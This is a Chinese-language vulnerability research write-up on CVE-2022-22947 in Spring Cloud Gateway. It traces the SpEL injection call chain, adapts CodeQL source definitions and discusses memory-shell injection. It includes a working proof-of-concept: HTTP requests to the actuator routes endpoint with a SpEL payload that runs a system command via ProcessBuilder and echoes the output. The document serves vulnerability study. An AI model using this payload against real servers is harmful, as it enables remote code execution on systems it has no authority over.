CVE-2022-22947
除錯
git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
然後idea開啟專案,再除錯或啟動
看一下github的相關程式碼更新,定位漏洞點
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
紅色部分就是含有漏洞的程式碼,明顯做了一次對SPEL的解析。
在不指定EvaluationContext
的情況下預設採用的是StandardEvaluationContext
跟蹤一下漏洞方法的呼叫
normalize方法呼叫了getvalue
normalizeProperties呼叫了normalize方法
在看一下這個類的抽象類AbstractBuilder中的bind方法呼叫了normalizeProperties方法
跟蹤bind方法,發現與loadGatewayFilters方法相關
這裡還呼叫了properties方法,設定了normalize方法中的properties引數
繼續跟蹤,
最後可以定位到路由 /routes/{id}
在官方文件中找到相應的路由說明
找一下filter的結構定義欄位
同時根據路由找到對應的方法
這裡有一個validation方法
可以看到這裡的isAvailable對其做了校驗
在除錯模式下,查詢一下相關的值,發現有28個合法的name
為了獲得回顯,選取AddResponseHeader,它所對應的filter會將值存放到responseheader中
poc
POST /actuator/gateway/routes/123 HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 329 { "id": "123", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result=", "value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('cmd', '/c', 'ipconfig').start().getInputStream(), 'GBK').useDelimiter('123ada').next()}" } }], "uri": "http://123.com" }
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
GET /actuator/gateway/routes/123 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
codeql繼續挖spel
研究了一下,發現source無法直接使用RemoteFlowSources,看了一下RemoteFlowSources在spring裡主要用的是SpringRequestMappingParameter
仔細看了一下規則,發現SpringRequestMappingParameter是SpringRequestMappingMethod的引數,而SpringRequestMappingMethod繼承了SpringControllerMethod,導致目標方法必須帶有controller類的註解才能被識別。
然而,這裡的source的註解為
因此,無法被識別。
所以RemoteFlowFource應該還需要被完善
最後稍稍改了一下SpringRequestMappingMethod的定義,將繼承的類從SpringControllerMethod改成Method就能夠避開controller的限定了
class NewSpringRequestMappingMethod extends Method {
SpringRequestMappingAnnotationType requestMappingAnnotationType;
NewSpringRequestMappingMethod() {
// Any method that declares the @RequestMapping annotation, or overrides a method that declares
// the annotation. We have to do this explicit check because the @RequestMapping annotation is
// not declared with @Inherited.
exists(Method superMethod |
this.overrides*(superMethod) and
requestMappingAnnotationType = superMethod.getAnAnnotation().getType()
)
}}
/** A parameter of a `SpringRequestMappingMethod`. */
class NewSpringRequestMappingParameter extends Parameter {
NewSpringRequestMappingParameter() { this.getCallable() instanceof NewSpringRequestMappingMethod }
/** Holds if the parameter should not be consider a direct source of taint. */
predicate isNotDirectlyTaintedInput() {
this.getType().(RefType).getAnAncestor() instanceof SpringWebRequest or
this.getType().(RefType).getAnAncestor() instanceof SpringNativeWebRequest or
this.getType().(RefType).getAnAncestor().hasQualifiedName("javax.servlet", "ServletRequest") or
this.getType().(RefType).getAnAncestor().hasQualifiedName("javax.servlet", "ServletResponse") or
this.getType().(RefType).getAnAncestor().hasQualifiedName("javax.servlet.http", "HttpSession") or
this.getType().(RefType).getAnAncestor().hasQualifiedName("javax.servlet.http", "PushBuilder") or
this.getType().(RefType).getAnAncestor().hasQualifiedName("java.security", "Principal") or
this.getType()
.(RefType)
.getAnAncestor()
.hasQualifiedName("org.springframework.http", "HttpMethod") or
this.getType().(RefType).getAnAncestor().hasQualifiedName("java.util", "Locale") or
this.getType().(RefType).getAnAncestor().hasQualifiedName("java.util", "TimeZone") or
this.getType().(RefType).getAnAncestor().hasQualifiedName("java.time", "ZoneId") or
this.getType().(RefType).getAnAncestor().hasQualifiedName("java.io", "OutputStream") or
this.getType().(RefType).getAnAncestor().hasQualifiedName("java.io", "Writer") or
this.getType()
.(RefType)
.getAnAncestor()
.hasQualifiedName("org.springframework.web.servlet.mvc.support", "RedirectAttributes") or
// Also covers BindingResult. Note, you can access the field value through this interface, which should be considered tainted
this.getType()
.(RefType)
.getAnAncestor()
.hasQualifiedName("org.springframework.validation", "Errors") or
this.getType()
.(RefType)
.getAnAncestor()
.hasQualifiedName("org.springframework.web.bind.support", "SessionStatus") or
this.getType()
.(RefType)
.getAnAncestor()
.hasQualifiedName("org.springframework.web.util", "UriComponentsBuilder") or
this.getType()
.(RefType)
.getAnAncestor()
.hasQualifiedName("org.springframework.data.domain", "Pageable") or
this instanceof SpringModel
}
}
最後就能成功找到source
重新想了一下,發現入手點錯了。
post方法寫入惡意spel表示式,get方法訪問對應uri才是觸發漏洞的方法。導致從post入手不行,應該用以下方法作為source,這時候發現好像不應該用汙點跟蹤,因為不是以引數作為輸入的
需要惡補java開發的知識,如Mono,flux等。
這裡後續去看了一下發現漏洞的師傅的文章,發現之前一直沒有檢測出來也是因為remoteFlowSource不夠完善,但是對於師傅的文章還是有些疑問,無法復現
https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
注入記憶體馬利用
看了師傅的一些文章,發現這裡的記憶體馬其實有兩種注入方法,一是從spring框架入手,另外就是從使用的netty中介軟體入手。
spring框架的記憶體馬注入
首先由於需要找到RequestMappingHandlerMapping
可以看到漏洞點附近有beanFactory引數,因此可以從這裡入手,在附近下斷點除錯,可以找到beanFatory中有RequestMappingHandlerMapping,那麼直接在spel表示式中呼叫@RequestMappingHandlerMapping,作為引數傳入注入的程式碼中即可。
在接下來的地方卡了好久,發現spring-cloud-gateway 使用的是webflux框架,而不是之前遇到的springmvc,才會報出classNotfound的錯。相應的payload也需要做一些改變。
最後結果
坑點
元件版本一定要搞清楚,坑
還有就是
這裡的Retry引數,到時候再看一下
小bug 如果用addResponseHeader作為引數,最後被注入的方法並不是記憶體馬的方法,而是寫在後面的測試方法(彈計算器)